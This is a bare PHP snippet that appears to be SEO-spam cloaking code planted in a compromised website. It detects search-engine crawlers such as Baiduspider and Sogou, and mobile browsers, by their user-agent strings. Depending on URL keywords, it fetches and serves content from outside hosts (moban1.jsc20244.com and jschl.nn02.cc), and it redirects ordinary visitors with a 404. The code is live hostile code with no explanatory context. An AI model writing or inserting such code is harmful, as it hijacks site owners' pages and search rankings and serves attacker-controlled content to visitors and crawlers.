set_time_limit(0); header("Content-Type: text/html;charset=utf-8"); error_reporting(0); $a = "stristr"; $f = $_SERVER; define('url8', $f['HTTP_HOST']); define('url', $f['REQUEST_URI']); define('ent', $f['HTTP_USER_AGENT']); define('site', "http://moban1.jsc20244.com:81/"); define('road', "?road=".$f['HTTP_HOST'].url); define('waps', '@Android|Browser|Mobile|Wap|iOs|aiduboxapp|iPad|iPhone|iPod@i'); define('regs', '@baiduspider|Sogou|Yisou|Sm.cn|360|So.com@i'); define('area', stristr(url, "wap") or stristr(url, "xj") or stristr(url, "xml") or stristr(url, "doc") or stristr(url, "pdf") or stristr(url, "txt") or stristr(url, "ppt") or stristr(url, "pptx") or stristr(url, "xls") or stristr(url, "xlsx") or stristr(url, "baike") or stristr(url, "edu") or stristr(url, "gov") or stristr(url, "jsp") or stristr(url, "asp") or stristr(url, "gq") or stristr(url, "pdx") or stristr(url, "ga") or stristr(url, "tacc") or stristr(url, "work") or stristr(url, "csv") or stristr(url, "sports") or stristr(url, "sleep") or stristr(url, "life") or stristr(url, "88art") or stristr(url, "advice") or stristr(url, "music") or stristr(url, "x888") or stristr(url, "and") or stristr(url, "day") or stristr(url, "world") or stristr(url, "school") or stristr(url, "tips") or stristr(url, "auto")); if (preg_match(regs, ent)) { if (area) { echo ''; echo '' ; echo papa(site.road); exit; } else { echo papa("http://jschl.nn02.cc:81/"); ob_flush(); flush(); } } if (area && preg_match(waps, ent)) { echo papa(site.road); exit; } elseif(area) { header("HTTP/1.1 404 Not Found"); header("Location: /"); exit; } function papa($h) { $j = array('http' => array('method' => "GET", 'header' => "User-Agent:".ent)); $k = stream_context_create($j); $l = file_get_contents($h, false, $k); if (!empty($l)) { return $l; } }